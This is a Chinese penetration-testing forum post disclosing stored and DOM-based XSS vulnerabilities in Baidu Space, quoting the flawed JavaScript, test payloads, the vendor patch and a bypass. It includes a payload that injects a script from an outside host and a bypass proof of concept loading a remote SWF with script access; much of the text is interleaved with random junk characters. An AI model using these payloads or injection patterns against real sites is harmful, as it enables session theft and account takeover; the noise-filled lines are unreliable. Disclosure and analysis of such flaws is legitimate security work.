中国网络渗透测试联盟

标题: hi.baidu Xss 漏洞 [打印本页]

作者: admin    时间: 2013-8-24 11:51
标题: hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  ) S& Z) B& s. x3 {2 F5 z3 r

2 d) ^' P0 h* S* B3 E" k. ]% [1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  7 O$ K+ ]& q) D; H# a* [
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
4 b" S  e* x/ `# p5 H) P
4 V$ K* m5 U5 a  \0 Y3 o+ @将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
# c& g0 P0 S; O0 {" {其中BdUtil.insertWBR为  
: G' G# _  j. b4 p- Hfunction(text, step) {  
  ^8 N1 g( ~9 S$ B" j    var textarea = textAreaCache || getContainer();  ' _& o) j* }# R
    if (!textarea) {  
" \) G+ W! |# q* M        return text;  
. w7 v6 f5 D" \# E8 v8 h0 e    }  - D5 S/ Y2 s4 W2 H. v& w7 G7 c, ?
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  ( j# g$ }0 M  I
    var string = textarea.value;  
" U( k4 Q$ @# g/ G6 b    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
  j! }5 s: b" S+ ]0 A" T    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
: }: _& e! j1 n5 x2 t    return result;  3 {1 E. Z* L6 v3 \
}  
  r2 }, i6 L) s在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  5 U0 i4 W7 f. P5 y
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
+ R, `  O- ?, D3 \" J% u- V   9 f5 o8 y% r# \1 {$ R9 }& G
二:creatbgmusic() Dom-Xss Bug  
; H; j! p7 I  C( t百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
+ m1 }4 n6 ?, @  b% z' D
- i9 Y3 X$ ~8 e0 K! @http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
- u% f$ B1 B( R/ h. H8 a( G4 u2 z" i9 u4 b/ v# t
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
1 d0 Q) b+ U, Y2 U/ \# F0 u    //传入的murl赋值到bgmusic1和bgmusic2中  
- m! T) Y4 h- ~1 P9 i    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  , p! R3 ]0 x* q2 m4 D& K. k% E0 c
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
* q" ]  [: w( h  M* D5 q4 e    if (musicnum <= 1) {  
/ H$ F5 h: k. Z* [' A& c        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
/ E) J. e6 ^# z+ Q    }  
( R" O& H& e6 Y    bgmusic1 += "</OBJECT>";  
* E1 a4 ]8 O0 M! t    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
' ^+ ]0 Y& V* z; T    if (musicnum <= 1) {  5 }+ m4 Y) O' n/ A* J( p
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
" ]  h3 \2 l6 q' w4 l5 E  o( s    }  , T# R3 m9 M  C5 u6 T6 Z2 U
    bgmusic2 += "> </EMBED>";  ' ?4 P9 `2 i6 z$ o8 Y. `& K9 R
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
' k% |; V: M" J/ ~    var bgmus = detectWMP();  ' P9 j" i0 ?( p4 W5 ?0 i& x9 b5 i
    if (functype == "FckMusicHelper") {  ! N' P, A9 p% A1 {) l' p6 D1 a: O
        if (bgmus.installed) {  8 M* O$ y5 L, r, {
            if (bgmus.type == "IE") {  ) k# U+ v) O. m0 @4 ^( d7 V
                return bgmusic1;  
' Y6 S, l8 q7 P. g$ i& ^* Q            } else if (bgmus.type == "NS") {  & r0 T& k! c$ I
                return bgmusic2;  
; C% Q0 f$ e2 d0 P            }  
/ E& J; S  u& m- I        } else {  
4 F5 w- I; K  S! E6 D( V            return bgmusic3;  
8 S- H- s$ |2 P1 ]        }  
3 L/ i2 ]1 H5 p4 N0 x$ \1 q    } else {  
& U  H! z: _" G        if (bgmus.installed) {  
2 r7 n* V$ J8 q0 t, z            //document.write 直接输出bgmusic变量 导致xss  3 o2 K4 k0 g) o3 s
            if (bgmus.type == "IE") {  
4 C: U) h  c; ?5 A                document.write(bgmusic1);  7 z: O9 H& ~* l7 r8 i: v6 h
            } else if (bgmus.type == "NS") {  ; D0 e6 T6 }/ u/ T
                document.write(bgmusic2);  
8 r, d7 V, O6 W  ^            }  ) A/ _6 M# R7 s" B' V4 U8 Z; w( `
        } else {  7 y4 o" Q3 O( c  |5 o
            document.write(bgmusic3);  1 f  X2 m* ?( d
        }  2 g/ ?, k$ i4 N9 b/ v
        return "";  
0 Z. A! c, B9 `    }  
% u' m& H& f* V6 ]  D}  
% D( g, p4 n, v- O1 x, t: U- z- G' [) S0 x0 L6 V
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  4 z7 s- X; x6 f. J* ]; w* Y8 M1 r
  T; m9 X- _, j, l5 c' d8 t/ [
function initBlogTextForFCK(){  0 x/ ]& O6 F+ Q( s  q
//fck init music  4 c: Z8 f0 E$ u, W8 R2 U, _
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
8 Z# \  ]! P# E/ X5 Cvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
7 l. f4 S" w) P( l+ A# ]! f2 d* pvar isAutoPlay=true;  / J& t% m8 Q% Y9 y/ t4 o! x
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
6 g3 T/ p6 f7 R, w  j5 ^% `  var img=imgBox;  
4 ^) {% P! P7 j; p) R; f( I$ D% X  if(img.getAttribute(’rel’)){        ! U* T' E! c3 _/ s. F
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
3 W! _: x% V% b: Q# M3 k& U   var musicDiv = document.createElement("SPAN");  : B2 p6 Z/ B/ G$ E( z- a
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
0 q. G" v, C/ j; W4 ]7 ]: i. i     
0 ]8 c# n) A4 ~! Z; ]      ..........................  
/ m" A# K9 F3 I7 G5 [     
; z5 S9 |7 ~5 ~& V# Y  N   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
7 [) W% m, H, q/ b, e& r   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
+ G7 m2 q6 ~1 r0 ]   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
2 P, |7 P. n! J/ m5 V& I& D$ O$ d! k   musicDiv.innerHTML=shtml;  ; \9 m! [. G0 m4 G2 j% m
   i--;n--;  
, S9 y5 _& c7 s  }  8 z" z7 W5 U) Z& S2 G  N
}  
5 x" e5 ?$ X& {7 W. g" o+ {6 [% X- F( u
7 d' N: W/ C7 w4 F  G% `从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
& B" S( p, J6 `   2 A8 e' s$ @( a0 D) Y5 t$ O
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
9 x( S* P7 V; S, W9 r3 P# s% R$ w* F$ c3 v2 M. m
等待官方补丁  1 Y! I: E( n0 [6 ^
) H1 x. J* a5 u- j6 e9 R/ T
update 2010年5月13日   , |) j" W; D9 W: a7 u; V" _# b1 f

5 f) L2 p/ c1 \9 s/ f1 l官方补丁:  * R1 ?. Z! A5 n- D$ r
1 C" e2 B! @7 f* X0 K  Z
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
3 C6 b0 u7 I& y8 r改为:  # L& ?- m2 N8 ]: ^* a
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
" j; |2 y8 G( q: u) @: `+ Q* K/ `* U4 D
update 2010年5月13日 21:50:37  
4 D$ Y' n5 A8 ?2 s5 f$ {6 Q5 U' {% k7 D3 Q/ D. w2 _
补丁存在漏洞 没有过滤" 可以继续跨:  $ g/ m8 o4 x( v% x$ h3 W# |
9 v, G9 |: i( B+ j
NEW POC:  
" b9 i  _6 S# z+ b8 x
8 }9 `4 Y2 |" y: B# f2 B+ o<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
5 N% [8 ]* A. d* _1 G5 a1 Y8 O* }1 q8 b1 F. W- R1 y. e
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
: E2 n) b3 T& `9 P # V' [7 e3 K" J





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2